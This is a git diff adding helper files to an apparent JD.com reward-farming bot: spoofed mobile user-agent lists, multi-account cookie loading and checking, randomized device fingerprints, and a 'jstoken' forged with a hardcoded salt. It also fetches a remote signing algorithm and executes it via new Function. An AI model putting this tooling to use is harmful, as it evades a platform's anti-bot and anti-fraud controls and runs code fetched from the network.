'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,4;addressid/1477231693;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/21.15;apprpd/MyJD_Main;ref/https%3A%2F%2Fgold.jd.com%2F%3Flng%3D0.000000%26lat%3D0.000000%26sid%3D4584eb84dc00141b0d58e000583a338w%26un_area%3D19_1607_3155_62114;psq/0;ads/;psn/2c822e59db319590266cc83b78c4a943783d0077|46;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/3.49;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/7;ads/;psn/9e0e0ea9c6801dfd53f2e50ffaa7f84c7b40cd15|6;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad7,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.14;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/3;ads/;psn/956c074c769cd2eeab2e36fca24ad4c9e469751a|8;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +] +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +const USER_AGENT = USER_AGENTS[randomNumber(0, USER_AGENTS.length)]; + +module.exports = { + USER_AGENT +} diff --git a/README.md b/README.md new file mode 100644 index 0000000..13a0925 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +# yydspure \ No newline at end of file diff --git a/TS_USER_AGENTS.ts b/TS_USER_AGENTS.ts new file mode 100644 index 0000000..2015fff --- /dev/null +++ b/TS_USER_AGENTS.ts @@ -0,0 +1,399 @@ +import axios from "axios" +import {Md5} from "ts-md5" +import * as dotenv from "dotenv" +import {existsSync, readFileSync} from "fs" +import {sendNotify} from './sendNotify' + +dotenv.config() + +let fingerprint: string | number, token: string = '', enCryptMethodJD: any + +const USER_AGENTS: Array = [ + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.6;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.5;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.7;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;13.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;11.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79", + "jdapp;android;10.0.2;10;;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36", + "jdapp;android;10.0.2;9;network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;android;10.0.2;8.0.0;network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.0.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.2;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;8.1.0;network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "jdapp;android;10.0.2;11;network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36", + "jdapp;android;10.0.2;10;network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + "jdapp;iPhone;10.0.2;14.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", +] + +function TotalBean(cookie: string) { + return { + cookie: cookie, + isLogin: true, + nickName: '' + } +} + +function getRandomNumberByRange(start: number, end: number) { + end <= start && (end = start + 100) + return Math.floor(Math.random() * (end - start) + start) +} + +let USER_AGENT = USER_AGENTS[getRandomNumberByRange(0, USER_AGENTS.length)] + +async function getBeanShareCode(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action', + `functionId=plantBeanIndex&body=${encodeURIComponent( + JSON.stringify({version: "9.0.0.1", "monitor_source": "plant_app_plant_index", "monitor_refer": ""}) + )}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, { + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + Accept: "*/*", + Connection: "keep-alive", + "User-Agent": USER_AGENT + } + }) + if (data.data?.jwordShareInfo?.shareUrl) + return data.data.jwordShareInfo.shareUrl.split('Uuid=')![1] + else + return '' +} + +async function getFarmShareCode(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action?functionId=initForFarm', `body=${encodeURIComponent(JSON.stringify({"version": 4}))}&appid=wh5&clientVersion=9.1.0`, { + headers: { + "cookie": cookie, + "origin": "https://home.m.jd.com", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "User-Agent": USER_AGENT, + "Content-Type": "application/x-www-form-urlencoded" + } + }) + + if (data.farmUserPro) + return data.farmUserPro.shareCode + else + return '' +} + +async function requireConfig(check: boolean = false): Promise { + let cookiesArr: string[] = [] + const jdCookieNode = require('./jdCookie.js') + let keys: string[] = Object.keys(jdCookieNode) + for (let i = 0; i < keys.length; i++) { + let cookie = jdCookieNode[keys[i]] + if (!check) { + cookiesArr.push(cookie) + } else { + if (await checkCookie(cookie)) { + cookiesArr.push(cookie) + } else { + let username = decodeURIComponent(jdCookieNode[keys[i]].match(/pt_pin=([^;]*)/)![1]) + console.log('Cookie失效', username) + await sendNotify('Cookie失效', '【京东账号】' + username) + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`) + return cookiesArr +} + +async function checkCookie(cookie: string) { + await wait(3000) + try { + let {data}: any = await axios.get(`https://api.m.jd.com/client.action?functionId=GetJDUserInfoUnion&appid=jd-cphdeveloper-m&body=${encodeURIComponent(JSON.stringify({"orgFlag": "JD_PinGou_New", "callSource": "mainorder", "channel": 4, "isHomewhite": 0, "sceneval": 2}))}&loginType=2&_=${Date.now()}&sceneval=2&g_login_type=1&callback=GetJDUserInfoUnion&g_ty=ls`, { + headers: { + 'authority': 'api.m.jd.com', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1', + 'referer': 'https://home.m.jd.com/', + 'cookie': cookie + } + }) + data = JSON.parse(data.match(/GetJDUserInfoUnion\((.*)\)/)[1]) + return data.retcode === '0'; + } catch (e) { + return false + } +} + +function wait(timeout: number) { + return new Promise(resolve => { + setTimeout(resolve, timeout) + }) +} + +async function requestAlgo(appId: number = 10032) { + fingerprint = generateFp() + return new Promise(async resolve => { + let {data}: any = await axios.post('https://cactus.jd.com/request_algo?g_ty=ajax', { + "version": "1.0", + "fp": fingerprint, + "appId": appId, + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }, { + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': USER_AGENT, + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + }) + if (data['status'] === 200) { + token = data.data.result.tk + let enCryptMethodJDString = data.data.result.algo + if (enCryptMethodJDString) enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)() + } else { + console.log(`fp: ${fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + resolve() + }) +} + +function generateFp() { + let e = "0123456789" + let a = 13 + let i = '' + for (; a--;) + i += e[Math.random() * e.length | 0] + return (i + Date.now()).slice(0, 16) +} + +function getJxToken(cookie: string, phoneId: string = '') { + function generateStr(input: number) { + let src = 'abcdefghijklmnopqrstuvwxyz1234567890' + let res = '' + for (let i = 0; i < input; i++) { + res += src[Math.floor(src.length * Math.random())] + } + return res + } + + if (!phoneId) + phoneId = generateStr(40) + let timestamp = Date.now().toString() + let nickname = cookie.match(/pt_pin=([^;]*)/)![1] + let jstoken = Md5.hashStr('' + decodeURIComponent(nickname) + timestamp + phoneId + 'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy') + return { + 'strPgtimestamp': timestamp, + 'strPhoneID': phoneId, + 'strPgUUNum': jstoken + } +} + +function exceptCookie(filename: string = 'x.ts') { + let except: any = [] + if (existsSync('./utils/exceptCookie.json')) { + try { + except = JSON.parse(readFileSync('./utils/exceptCookie.json').toString() || '{}')[filename] || [] + } catch (e) { + console.log('./utils/exceptCookie.json JSON格式错误') + } + } + return except +} + +function randomString(e: number, word?: number) { + e = e || 32 + let t = word === 26 ? "012345678abcdefghijklmnopqrstuvwxyz" : "0123456789abcdef", a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +function o2s(arr: object, title: string = '') { + title ? console.log(title, JSON.stringify(arr)) : console.log(JSON.stringify(arr)) +} + +function randomNumString(e: number) { + e = e || 32 + let t = '0123456789', a = t.length, n = "" + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)) + return n +} + +function randomWord(n: number = 1) { + let t = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', a = t.length + let rnd: string = '' + for (let i = 0; i < n; i++) { + rnd += t.charAt(Math.floor(Math.random() * a)) + } + return rnd +} + +async function getshareCodeHW(key: string) { + let shareCodeHW: string[] = [] + for (let i = 0; i < 5; i++) { + try { + let {data}: any = await axios.get('https://api.jdsharecode.xyz/api/HW_CODES') + shareCodeHW = data[key] || [] + if (shareCodeHW.length !== 0) { + break + } + } catch (e) { + console.log("getshareCodeHW Error, Retry...") + await wait(getRandomNumberByRange(2000, 6000)) + } + } + return shareCodeHW +} + +async function getShareCodePool(key: string, num: number) { + let shareCode: string[] = [] + for (let i = 0; i < 2; i++) { + try { + let {data}: any = await axios.get(`https://api.jdsharecode.xyz/api/${key}/${num}`) + shareCode = data.data || [] + console.log(`随机获取${num}个${key}成功:${JSON.stringify(shareCode)}`) + if (shareCode.length !== 0) { + break + } + } catch (e) { + console.log("getShareCodePool Error, Retry...") + await wait(getRandomNumberByRange(2000, 6000)) + } + } + return shareCode +} + +/*async function wechat_app_msg(title: string, content: string, user: string) { + let corpid: string = "", corpsecret: string = "" + let {data: gettoken} = await axios.get(`https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid=${corpid}&corpsecret=${corpsecret}`) + let access_token: string = gettoken.access_token + + let {data: send} = await axios.post(`https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${access_token}`, { + "touser": user, + "msgtype": "text", + "agentid": 1000002, + "text": { + "content": `${title}\n\n${content}` + }, + "safe": 0 + }) + if (send.errcode === 0) { + console.log('企业微信应用消息发送成功') + } else { + console.log('企业微信应用消息发送失败', send) + } +}*/ + +function obj2str(obj: object) { + return JSON.stringify(obj) +} + +async function getDevice() { + let {data} = await axios.get('https://betahub.cn/api/apple/devices/iPhone', { + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36' + } + }) + data = data[getRandomNumberByRange(0, 16)] + return data.identifier +} + +async function getVersion(device: string) { + let {data} = await axios.get(`https://betahub.cn/api/apple/firmwares/${device}`, { + headers: { + 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36' + } + }) + data = data[getRandomNumberByRange(0, data.length)] + return data.firmware_info.version +} + +async function jdpingou() { + let device: string, version: string; + device = await getDevice(); + version = await getVersion(device); + return `jdpingou;iPhone;5.19.0;${version};${randomString(40)};network/wifi;model/${device};appBuild/100833;ADID/;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/${getRandomNumberByRange(10, 90)};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` +} + +function get(url: string, headers?: any): Promise { + return new Promise((resolve, reject) => { + axios.get(url, { + headers: headers + }).then(res => { + if (typeof res.data === 'string' && res.data.includes('jsonpCBK')) { + resolve(JSON.parse(res.data.match(/jsonpCBK.?\(([\w\W]*)\);?/)[1])) + } else { + resolve(res.data) + } + }).catch(err => { + reject({ + code: err?.response?.status || -1, + msg: err?.response?.statusText || err.message || 'error' + }) + }) + }) +} + +function post(url: string, prarms?: string | object, headers?: any): Promise { + return new Promise((resolve, reject) => { + axios.post(url, prarms, { + headers: headers + }).then(res => { + resolve(res.data) + }).catch(err => { + reject({ + code: err?.response?.status || -1, + msg: err?.response?.statusText || err.message || 'error' + }) + }) + }) +} + +export default USER_AGENT +export { + TotalBean, + getBeanShareCode, + getFarmShareCode, + requireConfig, + wait, + getRandomNumberByRange, + requestAlgo, + getJxToken, + exceptCookie, + randomString, + o2s, + randomNumString, + getshareCodeHW, + getShareCodePool, + randomWord, + obj2str, + jdpingou, + get, + post +} diff --git a/USER_AGENTS.js 